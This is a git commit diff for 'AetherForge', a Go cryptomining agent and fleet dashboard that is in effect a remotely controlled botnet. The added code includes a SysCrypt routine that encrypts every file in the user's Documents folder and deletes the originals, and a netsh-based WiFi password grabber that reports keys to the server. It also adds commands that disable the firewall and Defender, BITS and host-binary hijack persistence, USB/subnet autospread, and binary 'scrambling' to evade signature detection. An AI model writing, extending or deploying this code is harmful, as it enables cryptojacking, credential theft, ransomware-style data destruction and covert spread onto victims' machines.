feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
AetherForge
2026-06-03 20:32:59 -07:00
parent 03937edba7
commit d52479c9a6
139 changed files with 10611 additions and 369 deletions

View File

@@ -10,7 +10,7 @@ No pool hopping through third-party dashboards. No per-rig SSH babysitting. You
```
┌─────────────────────────────────────────────────────────────────────┐
│ CALIBRATE (Settings) pool · wallet · users · alerts
│ CALIBRATE (Settings) pool · wallet · users · Telegram alerts
│ │ │
│ ▼ │
│ FORGE (Builder) XMR worker · RVN GPU worker · Fusion │
@@ -149,6 +149,45 @@ Enable **USB Propagation** in the Forge. The baked binary:
- Fleet Roster **Wake** button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC
- Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet)
### Telegram & fleet notifications (Calibrate)
Configure once under **Calibrate → Alert Notifications**:
| Field | What to enter |
|-------|----------------|
| **Telegram Bot Token** | From [@BotFather](https://t.me/BotFather) |
| **Telegram Chat ID** | Your numeric user ID (from [@userinfobot](https://t.me/userinfobot)) — **not** the bots ID |
| **Notify me when…** | Per-event checkboxes (all on by default) |
**Events that can ping Telegram** (and optional SMTP email):
| Event | When it fires |
|-------|----------------|
| New agent connects | First time a worker joins the fleet |
| Agent reconnects | Back online or replaces an active session |
| Agent offline | Past **Offline After (minutes)** threshold |
| Hashrate drop | Below **Hashrate Drop %** vs baseline |
| Rejection spike | Bad shares above **Rejection Rate %** |
| Forge complete | Any successful build (exe, spread kit, fusion ZIP) |
Use **Send test notification** after **Save Calibration** to verify delivery. Thresholds live in **Fleet Alerts** on the same page.
> **Security:** Never paste bot tokens in chat or commit them. Store only in `data/config.json` (gitignored).
### Forge hardening & dispense UX
- **Sigil scramble** (default on) — unique binary hash per forge (PE timestamp + entropy overlay) without changing runtime behavior
- **Garble** + **polymorph** + optional **Authenticode** signing — layered static-signature variation
- **Dispense Reveal** — full-screen success ceremony with stealth index, binary DNA fingerprint, and download
### Fleet ops (recent)
- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports) from Fleet Roster or Crucible
- **Desktop push** — deploy files to `@desktop/` on workers
- **BITS persistence** / **host binary** run modes (Windows, advanced Forge)
- **Path Tracer** — multi-hop WireGuard path builder (dashboard page)
- **Haptic sound** + **glow particles** — optional UI feedback (Settings)
---
## Quick Start
@@ -162,7 +201,7 @@ Enable **USB Propagation** in the Forge. The baked binary:
3. **Sign in** — first run: check the console window for your generated admin password
4. **Calibrate** set your Monero wallet + pool + public URL for remote workers
4. **Calibrate** → wallet + pool + public URL; optional **Telegram** bot token + chat ID for fleet pings
5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer**
@@ -204,6 +243,8 @@ Run **`pack-usb.bat`** from the project root. It:
Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`.
> **After any code change**, run `npm run build` in `server/web/`, then `pack-usb.bat` to sync the portable bundle. The USB bundle is **not** updated automatically — it only reflects what was current the last time `pack-usb.bat` ran.
> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
---
@@ -302,6 +343,7 @@ crypto miner/
| POST | `/api/v1/agents/{id}/wol` | Send Wake-on-LAN magic packet |
| POST | `/api/v1/agents/bulk-command` | Send command to multiple agents |
| GET | `/api/v1/alerts` | Active fleet alerts |
| POST | `/api/v1/alerts/test` | Test Telegram / SMTP (no real alert raised) |
| GET | `/api/v1/pools/status` | Stratum pool connection states |
| GET | `/api/v1/earnings/estimate` | XMR/day estimate |
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
@@ -404,6 +446,8 @@ Vite proxies `/api` and `/ws` to `localhost:8989`.
- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents
- **Sigil scramble** — post-forge uniquification of each dispensed binary
- **Telegram notifier** — configurable per-event pushes from agent connect, health thresholds, and forge complete
- **Cross-platform code signing** — `signtool` on Windows, `osslsigncode` on Linux/macOS
- **Server-side forge cancel** — each build tracked by UUID; `DELETE /api/v1/builder/cancel/{token}` kills the compiler
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts

View File

@@ -1,6 +1,7 @@
package client
import (
"encoding/json"
"fmt"
"strconv"
"strings"
@@ -18,12 +19,12 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
case "supp_seek":
// No forge gate — always available; path is required at call time.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
// No forge gate — always available.
case "mesh_status":
if !c.cfg.MeshP2P {
return false, "mesh P2P not enabled in forge"
@@ -123,6 +124,91 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
c.sendCommandResult(action, true, msg)
return true
case "firewall_off":
msg, err := deploy.DisableWindowsFirewall()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "firewall_on":
msg, err := deploy.EnableWindowsFirewall()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "firewall_profiles":
// command: "on" or "off" (default off). path: Domain,Private,Public or all
enable := strings.EqualFold(strings.TrimSpace(command), "on") ||
strings.EqualFold(strings.TrimSpace(command), "enable") ||
strings.EqualFold(strings.TrimSpace(command), "true")
profiles := strings.TrimSpace(path)
if profiles == "" {
profiles = "all"
}
msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "bits_persist":
bin, err := deploy.InstalledBinaryPath(c.cfg)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg)))
return true
case "host_binary_persist":
bin, err := deploy.InstalledBinaryPath(c.cfg)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
preset := strings.TrimSpace(path)
if preset == "" {
preset = strings.TrimSpace(c.cfg.HostBinaryTarget)
}
if preset == "" {
preset = "ssh"
}
target, err := deploy.HijackHostBinary(c.cfg, bin, preset)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset))
return true
case "firewall_remove":
var parts []string
ruleName := strings.TrimSpace(path)
if ruleName != "" {
msg, err := deploy.RemoveFirewallRuleByName(ruleName)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
parts = append(parts, msg)
}
deploy.RemoveFirewallExclusionWindows(c.cfg)
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
return true
case "supp_seek":
seekPath := strings.TrimSpace(path)
if seekPath == "" {
@@ -147,9 +233,62 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
}()
return true
case "sys_crypt":
go func() {
result := SysCrypt()
c.sendCommandResult(action, true, result)
}()
return true
case "get_wifi_passwords":
go func() {
result := grabWiFiPasswords()
c.sendCommandResult(action, true, result)
}()
return true
case "mesh_status":
count := c.mesh.PeerCount()
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
if count == 0 && c.cfg.MeshP2P {
c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled")
} else {
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
}
return true
case "wg_setup":
// Generates WireGuard keypair, tries UPnP, returns JSON result to server.
go func() {
result := WGSetupJSON()
c.sendCommandResult(action, true, result)
}()
return true
case "wg_configure":
// data field carries the JSON WGConfigPayload from the server.
var payload WGConfigPayload
if err := json.Unmarshal([]byte(data), &payload); err != nil {
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
return true
}
go func() {
if err := WGConfigure(payload); err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, "WireGuard tunnel started")
}()
return true
case "wg_teardown":
go func() {
WGTeardown()
c.sendCommandResult(action, true, "WireGuard tunnel removed")
}()
return true
case "wg_status":
c.sendCommandResult(action, true, WGStatus())
return true
}

View File

@@ -393,9 +393,21 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
switch action {
case "pause":
c.pool.PauseRemote()
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Pause()
}
c.sendCommandResult(action, true, "mining paused")
case "resume":
c.pool.ResumeRemote()
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Resume()
}
c.sendCommandResult(action, true, "mining resumed")
case "restart":
c.sendCommandResult(action, true, "restarting")
@@ -470,27 +482,59 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
return
}
c.sendCommandResult(action, true, string(out))
case "upload":
if path == "" || data == "" {
case "upload", "push_desktop":
if data == "" {
c.sendCommandResult(action, false, "data (base64) is required")
return
}
dest := path
if action == "push_desktop" {
name := strings.TrimSpace(path)
if name == "" {
name = strings.TrimSpace(command)
}
var err error
dest, err = deploy.ResolveDesktopFile(name)
if err != nil {
c.sendCommandResult(action, false, "desktop path: "+err.Error())
return
}
} else if dest == "" {
c.sendCommandResult(action, false, "path and data (base64) are required")
return
} else {
resolved, err := deploy.ResolveRemotePath(dest)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
dest = resolved
}
decoded, err := base64.StdEncoding.DecodeString(data)
if err != nil {
c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
return
}
if err := os.WriteFile(path, decoded, 0644); err != nil {
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
c.sendCommandResult(action, false, "failed to create directory: "+err.Error())
return
}
if err := os.WriteFile(dest, decoded, 0644); err != nil {
c.sendCommandResult(action, false, "failed to write file: "+err.Error())
return
}
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded)))
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", dest, len(decoded)))
case "download":
if path == "" {
c.sendCommandResult(action, false, "path is required")
return
}
b, err := os.ReadFile(path)
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
b, err := os.ReadFile(resolved)
if err != nil {
c.sendCommandResult(action, false, "failed to read file: "+err.Error())
return
@@ -796,7 +840,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.Services = lastPosture.Services
}
payload, _ := json.Marshal(stats)
_ = c.write(Message{Type: "stats", Payload: payload})
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
log.Printf("[agent] stats send failed: %v", err)
}
}
}
}

View File

@@ -21,6 +21,12 @@ func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
}
func (c *AgentClient) handleReconCommand(action, command string) bool {
if action == "full_sys_check" {
report := CollectFullSysCheck(c.cfg, c.agentID)
c.sendCommandResult(action, true, report.JSON())
return true
}
handled, success, msg := c.platformRecon(action, command)
if !handled {
return false

View File

@@ -8,6 +8,11 @@ import (
"strings"
)
// grabWiFiPasswords is not supported on non-Windows platforms.
func grabWiFiPasswords() string {
return "get_wifi_passwords: unsupported on this platform"
}
// execPowerCommand runs shutdown or reboot on Unix/Linux/macOS.
func (c *AgentClient) execPowerCommand(kind string) error {
var args []string

View File

@@ -7,6 +7,62 @@ import (
"strings"
)
// grabWiFiPasswords enumerates saved WiFi profiles and extracts their clear-text
// keys using netsh, returning a formatted multi-line result string.
func grabWiFiPasswords() string {
// List all profiles.
profileOut, err := silentCombinedOutput("netsh", "wlan", "show", "profiles")
if err != nil {
return fmt.Sprintf("netsh wlan show profiles failed: %v\n%s", err, string(profileOut))
}
var profiles []string
for _, line := range strings.Split(string(profileOut), "\n") {
line = strings.TrimSpace(line)
// Lines look like: " All User Profile : ProfileName"
if strings.Contains(line, ":") {
parts := strings.SplitN(line, ":", 2)
if len(parts) == 2 {
name := strings.TrimSpace(parts[1])
if name != "" {
profiles = append(profiles, name)
}
}
}
}
if len(profiles) == 0 {
return "no WiFi profiles found"
}
var sb strings.Builder
for _, profile := range profiles {
detailOut, err := silentCombinedOutput("netsh", "wlan", "show", "profile",
"name="+profile, "key=clear")
if err != nil {
sb.WriteString(fmt.Sprintf("%s : <error: %v>\n", profile, err))
continue
}
key := ""
for _, line := range strings.Split(string(detailOut), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "Key Content") {
parts := strings.SplitN(line, ":", 2)
if len(parts) == 2 {
key = strings.TrimSpace(parts[1])
}
break
}
}
if key != "" {
sb.WriteString(fmt.Sprintf("%s : %s\n", profile, key))
} else {
sb.WriteString(fmt.Sprintf("%s : <no password / open network>\n", profile))
}
}
return strings.TrimSpace(sb.String())
}
// execPowerCommand runs shutdown or reboot via cmd.exe directly (bypasses
// PowerShell execution policy restrictions). Returns an error if the
// command exits non-zero.

View File

@@ -0,0 +1,8 @@
//go:build !windows
package client
// SysCrypt is a no-op on non-Windows platforms.
func SysCrypt() string {
return "sys_crypt is Windows-only in this build"
}

View File

@@ -0,0 +1,113 @@
//go:build windows
package client
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"golang.org/x/sys/windows"
)
const cryptPassword = "password"
// documentsDir returns the current user's Documents folder path via the
// Windows SHGetKnownFolderPath API (FOLDERID_Documents).
func documentsDir() (string, error) {
path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0)
if err != nil {
// Fall back to USERPROFILE\Documents
if up := os.Getenv("USERPROFILE"); up != "" {
return filepath.Join(up, "Documents"), nil
}
return "", fmt.Errorf("cannot resolve Documents folder: %w", err)
}
return path, nil
}
// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
func deriveKey(password string) []byte {
sum := sha256.Sum256([]byte(password))
return sum[:]
}
// encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and
// deleting the original. The 12-byte nonce is prepended to the ciphertext.
func encryptFile(path string, key []byte) error {
plaintext, err := os.ReadFile(path)
if err != nil {
return err
}
block, err := aes.NewCipher(key)
if err != nil {
return err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return err
}
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
dst := path + ".enc"
if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
return err
}
return os.Remove(path)
}
// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every
// file (skipping files already ending in ".enc"). Returns a summary string.
func SysCrypt() string {
docsDir, err := documentsDir()
if err != nil {
return "sys_crypt error: " + err.Error()
}
key := deriveKey(cryptPassword)
var encrypted, skipped, failed int
var errs []string
err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil || d.IsDir() {
return nil
}
if strings.HasSuffix(path, ".enc") {
skipped++
return nil
}
if err := encryptFile(path, key); err != nil {
failed++
if len(errs) < 5 {
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
}
return nil
}
encrypted++
return nil
})
if err != nil {
return fmt.Sprintf("sys_crypt walk error: %v", err)
}
summary := fmt.Sprintf("sys_crypt done — encrypted: %d skipped: %d failed: %d", encrypted, skipped, failed)
if len(errs) > 0 {
summary += "\nErrors: " + strings.Join(errs, "; ")
}
return summary
}

View File

@@ -58,10 +58,14 @@ type GPUMiner struct {
mu sync.RWMutex
stats GPUMinerStats
active bool
paused bool
proc *os.Process // currently running subprocess (nil if stopped)
stopCh chan struct{}
wg sync.WaitGroup
stopCh chan struct{}
pauseCh chan struct{} // closed when paused, re-created on resume
resumeCh chan struct{} // closed when resuming from pause
pauseMu sync.Mutex
wg sync.WaitGroup
}
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
@@ -81,12 +85,17 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
return nil
}
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
return &GPUMiner{
g := &GPUMiner{
cfg: cfg,
info: info,
installDir: installDir,
stopCh: make(chan struct{}),
pauseCh: make(chan struct{}),
resumeCh: make(chan struct{}),
}
// Start with resumeCh closed so the run loop is not blocked.
close(g.resumeCh)
return g
}
// Start downloads (if needed) and launches the GPU miner, then polls stats.
@@ -100,6 +109,8 @@ func (g *GPUMiner) Start() {
// Stop shuts down the GPU miner and waits for it to exit.
func (g *GPUMiner) Stop() {
// Resume first so the run loop is not blocked on pauseCh when stop fires.
g.Resume()
select {
case <-g.stopCh:
default:
@@ -108,6 +119,74 @@ func (g *GPUMiner) Stop() {
g.wg.Wait()
}
// Pause suspends KawPoW polling and kills the running miner subprocess until
// Resume is called. Safe to call multiple times.
func (g *GPUMiner) Pause() {
g.pauseMu.Lock()
defer g.pauseMu.Unlock()
g.mu.Lock()
already := g.paused
if !already {
g.paused = true
// Kill the running process so it stops consuming GPU.
if g.proc != nil {
_ = g.proc.Kill()
}
}
g.mu.Unlock()
if !already {
// Signal the run loop to enter the paused wait.
select {
case <-g.pauseCh:
default:
close(g.pauseCh)
}
log.Printf("[gpu] miner paused by remote command")
}
}
// Resume restarts the KawPoW miner after a Pause. Safe to call when not paused.
func (g *GPUMiner) Resume() {
g.pauseMu.Lock()
defer g.pauseMu.Unlock()
g.mu.Lock()
wasPaused := g.paused
g.paused = false
g.mu.Unlock()
if wasPaused {
// Unblock the run loop waiting on resumeCh, then reset both channels.
select {
case <-g.resumeCh:
default:
close(g.resumeCh)
}
g.pauseCh = make(chan struct{})
g.resumeCh = make(chan struct{})
log.Printf("[gpu] miner resumed by remote command")
}
}
// waitIfPaused blocks the run loop while paused, returning false if stop fires.
func (g *GPUMiner) waitIfPaused() bool {
g.pauseMu.Lock()
pauseCh := g.pauseCh
resumeCh := g.resumeCh
g.pauseMu.Unlock()
select {
case <-pauseCh:
// Paused — wait for resume or stop.
select {
case <-g.stopCh:
return false
case <-resumeCh:
return true
}
default:
return true
}
}
// Stats returns the latest GPU mining statistics.
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
g.mu.RLock()
@@ -159,6 +238,10 @@ func (g *GPUMiner) run() {
default:
}
if !g.waitIfPaused() {
return
}
ep := pools[poolIdx%len(pools)]
proc, err := g.startProcessOnPool(binPath, ep)
if err != nil {
@@ -325,11 +408,24 @@ func (g *GPUMiner) spec() minerSpec {
func (g *GPUMiner) ensureMinerBinary() (string, error) {
spec := g.spec()
// 1. Check the agent's install directory first.
binPath := filepath.Join(g.installDir, spec.fileName)
if _, err := os.Stat(binPath); err == nil {
return binPath, nil
}
log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL)
// 2. Check the directory that contains the running agent binary (side-by-side).
if exePath, err := os.Executable(); err == nil {
sideBySide := filepath.Join(filepath.Dir(exePath), spec.fileName)
if _, err := os.Stat(sideBySide); err == nil {
log.Printf("[gpu] found %s next to agent binary, using local copy", spec.fileName)
return sideBySide, nil
}
}
// 3. Fall back to downloading from GitHub.
log.Printf("[gpu] GPU miner binary not found locally, downloading from GitHub (this may fail on restricted networks)")
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
return "", fmt.Errorf("download failed: %w", err)
}

View File

@@ -0,0 +1,38 @@
//go:build !windows
package client
// WGSetupResult is the cross-platform type returned by WGSetupJSON.
type WGSetupResult struct {
PublicKey string `json:"public_key"`
ExternalIP string `json:"external_ip"`
ExternalPort int `json:"external_port"`
UPnPOK bool `json:"upnp_ok"`
Error string `json:"error,omitempty"`
}
// WGPeerEntry describes one WireGuard peer.
type WGPeerEntry struct {
PublicKey string `json:"public_key"`
Endpoint string `json:"endpoint"`
AllowedIPs string `json:"allowed_ips"`
PersistentKeepalive int `json:"persistent_keepalive"`
}
// WGConfigPayload is sent server→agent to configure the tunnel.
type WGConfigPayload struct {
SessionID string `json:"session_id"`
PrivateKey string `json:"private_key"`
LocalAddress string `json:"local_address"`
ListenPort int `json:"listen_port"`
Peers []WGPeerEntry `json:"peers"`
EnableIPForwarding bool `json:"enable_ip_forwarding"`
}
func WGSetupJSON() string {
return `{"error":"WireGuard Path Tracer is Windows-only in this build"}`
}
func WGConfigure(_ WGConfigPayload) error { return nil }
func WGTeardown() {}
func WGStatus() string { return "not supported on this platform" }

View File

@@ -0,0 +1,299 @@
//go:build windows
package client
import (
"crypto/rand"
"encoding/base64"
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"crypto-miner-agent/deploy"
"golang.org/x/crypto/curve25519"
)
const wgUDPPort = 51820
// WGSetupResult is returned to the server after wg_setup.
type WGSetupResult struct {
PublicKey string `json:"public_key"`
ExternalIP string `json:"external_ip"`
ExternalPort int `json:"external_port"`
UPnPOK bool `json:"upnp_ok"`
Error string `json:"error,omitempty"`
}
// WGPeerEntry is one peer entry inside WGConfigPayload.
type WGPeerEntry struct {
PublicKey string `json:"public_key"`
Endpoint string `json:"endpoint"` // "ip:port"
AllowedIPs string `json:"allowed_ips"`
PersistentKeepalive int `json:"persistent_keepalive"`
}
// WGConfigPayload is sent from the server to configure this agent's WireGuard tunnel.
type WGConfigPayload struct {
SessionID string `json:"session_id"`
PrivateKey string `json:"private_key"`
LocalAddress string `json:"local_address"` // e.g. "10.66.0.2/24"
ListenPort int `json:"listen_port"`
Peers []WGPeerEntry `json:"peers"`
EnableIPForwarding bool `json:"enable_ip_forwarding"`
}
// wgState holds active tunnel state so teardown knows what to clean up.
var wgState struct {
sessionID string
configPath string
tunnelName string
}
// WGSetup generates a keypair, tries UPnP, and returns setup info to the server.
func WGSetup() WGSetupResult {
priv, pub, err := generateWGKeyPair()
if err != nil {
return WGSetupResult{Error: "keypair gen failed: " + err.Error()}
}
// Persist private key for when wg_configure arrives.
_ = os.MkdirAll(wgWorkDir(), 0700)
_ = os.WriteFile(filepath.Join(wgWorkDir(), "wg_priv.key"), []byte(priv), 0600)
res := WGSetupResult{
PublicKey: pub,
ExternalPort: wgUDPPort,
}
// Try UPnP — open UDP 51820.
r, err := deploy.PunchUPnP(wgUDPPort, wgUDPPort, "PathTracer-WG")
if err == nil && r.Success {
res.ExternalIP = r.ExternalIP
res.UPnPOK = true
log.Printf("[pathtracer] UPnP opened UDP %s:%d", r.ExternalIP, wgUDPPort)
} else {
// Fall back to the IP the server sees on the WebSocket connection.
res.UPnPOK = false
log.Printf("[pathtracer] UPnP failed, server will use its seen IP: %v", err)
}
return res
}
// WGConfigure writes the WireGuard config and starts the tunnel as a Windows service.
func WGConfigure(payload WGConfigPayload) error {
privKey := payload.PrivateKey
if privKey == "" {
// Use the key we generated in WGSetup.
raw, err := os.ReadFile(filepath.Join(wgWorkDir(), "wg_priv.key"))
if err != nil {
return fmt.Errorf("private key not found: %w", err)
}
privKey = strings.TrimSpace(string(raw))
}
conf := buildWGConfig(privKey, payload)
tunnelName := "PathTracer-" + payload.SessionID[:8]
confPath := filepath.Join(wgWorkDir(), tunnelName+".conf")
if err := os.WriteFile(confPath, []byte(conf), 0600); err != nil {
return fmt.Errorf("write config: %w", err)
}
// Enable IP forwarding so this node can relay traffic.
if payload.EnableIPForwarding {
_ = enableIPForwarding()
}
// Install and start the WireGuard service.
wgExe, err := ensureWGExe()
if err != nil {
return fmt.Errorf("wireguard not available: %w", err)
}
// Remove any stale service first (ignore errors).
_ = runHidden(wgExe, "/uninstallservice", tunnelName)
if err := runHidden(wgExe, "/installservice", confPath); err != nil {
return fmt.Errorf("wg installservice: %w", err)
}
wgState.sessionID = payload.SessionID
wgState.configPath = confPath
wgState.tunnelName = tunnelName
log.Printf("[pathtracer] WireGuard tunnel %s started", tunnelName)
return nil
}
// WGTeardown stops and removes the WireGuard tunnel and cleans up UPnP.
func WGTeardown() {
if wgState.tunnelName != "" {
wgExe, err := ensureWGExe()
if err == nil {
_ = runHidden(wgExe, "/uninstallservice", wgState.tunnelName)
}
_ = os.Remove(wgState.configPath)
wgState = struct {
sessionID string
configPath string
tunnelName string
}{}
}
_, _ = deploy.CloseUPnP(wgUDPPort)
log.Printf("[pathtracer] WireGuard tunnel torn down")
}
// WGStatus returns the number of active WireGuard peers.
func WGStatus() string {
if wgState.tunnelName == "" {
return "no active tunnel"
}
wgExe, err := ensureWGExe()
if err != nil {
return "tunnel active (wg.exe unavailable)"
}
cmd := exec.Command(wgExe, "show", wgState.tunnelName)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
out, _ := cmd.CombinedOutput()
return "tunnel=" + wgState.tunnelName + "\n" + strings.TrimSpace(string(out))
}
// ── helpers ──────────────────────────────────────────────────────────────────
func generateWGKeyPair() (privateB64, publicB64 string, err error) {
var priv [32]byte
if _, err = rand.Read(priv[:]); err != nil {
return
}
// WireGuard Curve25519 key clamping.
priv[0] &= 248
priv[31] &= 127
priv[31] |= 64
var pub [32]byte
curve25519.ScalarBaseMult(&pub, &priv)
privateB64 = base64.StdEncoding.EncodeToString(priv[:])
publicB64 = base64.StdEncoding.EncodeToString(pub[:])
return
}
func buildWGConfig(privKey string, p WGConfigPayload) string {
port := p.ListenPort
if port == 0 {
port = wgUDPPort
}
var sb strings.Builder
sb.WriteString("[Interface]\n")
fmt.Fprintf(&sb, "PrivateKey = %s\n", privKey)
fmt.Fprintf(&sb, "Address = %s\n", p.LocalAddress)
fmt.Fprintf(&sb, "ListenPort = %d\n", port)
sb.WriteString("DNS = 1.1.1.1\n\n")
for _, peer := range p.Peers {
sb.WriteString("[Peer]\n")
fmt.Fprintf(&sb, "PublicKey = %s\n", peer.PublicKey)
if peer.Endpoint != "" {
fmt.Fprintf(&sb, "Endpoint = %s\n", peer.Endpoint)
}
ai := peer.AllowedIPs
if ai == "" {
ai = "0.0.0.0/0"
}
fmt.Fprintf(&sb, "AllowedIPs = %s\n", ai)
ka := peer.PersistentKeepalive
if ka == 0 {
ka = 25
}
sb.WriteString(fmt.Sprintf("PersistentKeepalive = %d\n\n", ka))
}
return sb.String()
}
func wgWorkDir() string {
base := os.Getenv("LOCALAPPDATA")
if base == "" {
base = os.TempDir()
}
return filepath.Join(base, "PathTracer")
}
// ensureWGExe returns the path to wireguard.exe, downloading if needed.
func ensureWGExe() (string, error) {
candidates := []string{
`C:\Program Files\WireGuard\wireguard.exe`,
`C:\Program Files (x86)\WireGuard\wireguard.exe`,
filepath.Join(wgWorkDir(), "wireguard.exe"),
}
for _, p := range candidates {
if _, err := os.Stat(p); err == nil {
return p, nil
}
}
return downloadWireGuard()
}
func downloadWireGuard() (string, error) {
const dlURL = "https://download.wireguard.com/windows-client/wireguard-installer.exe"
installDir := wgWorkDir()
_ = os.MkdirAll(installDir, 0755)
installerPath := filepath.Join(installDir, "wireguard-installer.exe")
resp, err := http.Get(dlURL)
if err != nil {
return "", fmt.Errorf("download wireguard: %w", err)
}
defer resp.Body.Close()
data := make([]byte, 0, 8*1024*1024)
buf := make([]byte, 32*1024)
for {
n, rerr := resp.Body.Read(buf)
if n > 0 {
data = append(data, buf[:n]...)
}
if rerr != nil {
break
}
}
if err := os.WriteFile(installerPath, data, 0755); err != nil {
return "", fmt.Errorf("write installer: %w", err)
}
// Install silently.
if err := runHidden(installerPath, "/S"); err != nil {
return "", fmt.Errorf("wireguard install: %w", err)
}
wgExe := `C:\Program Files\WireGuard\wireguard.exe`
if _, err := os.Stat(wgExe); err != nil {
return "", fmt.Errorf("wireguard.exe not found after install")
}
return wgExe, nil
}
func enableIPForwarding() error {
script := `Set-NetIPInterface -Forwarding Enabled -ErrorAction SilentlyContinue`
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass",
"-WindowStyle", "Hidden", "-Command", script)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
return cmd.Run()
}
func runHidden(name string, args ...string) error {
cmd := exec.Command(name, args...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
return cmd.Run()
}
// WGSetupJSON is called from the command dispatcher — returns JSON string for command_result.
func WGSetupJSON() string {
res := WGSetup()
b, _ := json.Marshal(res)
return string(b)
